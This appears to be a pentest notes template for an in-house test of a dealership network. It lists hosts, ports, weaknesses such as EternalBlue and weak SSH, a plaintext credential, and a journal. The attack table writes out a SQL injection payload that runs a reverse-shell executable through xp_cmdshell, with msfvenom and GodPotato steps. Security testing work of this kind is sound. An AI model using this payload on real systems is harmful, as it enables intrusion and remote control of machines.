Murray Chev Pentest

✏️ Overview

🗒️

Name

Murray Chevrolet Cadillac

📅

Time Frame

ongoing

🎯

Goal

Full system enumeration and vulntest

📝

Description

This is the first in house pentest for Murray Chevrolet Cadillac to not only put into place what I have learned but to also better document the network.

🖥️ Machines

Name	IP	Is Pwned	Is in domain	Has AV	Has FW	Operating System	Observations	Successful Attack Vector	Open Ports	Additional Notes
Alpha-	192.168.1.101	⛔	✅	⛔	✅	Windows 10	SMB Vulnerability, RDP Brute Force		135, 445, 3389	SMB seems vulnerable to EternalBlue
Beta-Server	192.168.1.102	✅	⛔	✅	✅	Ubuntu 18.04	SSH Weak Credentials, Exposed FTP	SSH using found credentials	22, 21, 80	Credentials found in previous breach dump
Gamma-Box	192.168.1.103	⛔	⛔	⛔	⛔	CentOS 7	Outdated Apache Server, Misconfigured sudo		80

☑️ Findings

☑️ Attacks & Payloads

Machine	Attack Vector	Prerequisites	Payload	Additional Notes
Alpha-Node	SQLi on /login	`msfvenom -p windows/shell_reverse_tcp download payload, store in temp, run it`	`ProductID=1';EXEC master.dbo.xp_cmdshell "powershell C:\windows\temp\reverse.exe"; —`	use GodPotato to escalate privileges to `nt authority\system`

👥 Credentials

Username	Password	Is domain user	Purpose	Additional Notes
ad	password123	✅	Admin login for Gamma-Box	Common password, easily guessed.

📘 Reports

📘 Journal

Timestamp	Machine	Note
12:34	Beta-Server	Found common credentials using a previously known breach database. Gained SSH access.
12:17 Jan27/25	Nmap scan	Full nmap scan with —script smb-enum-shares.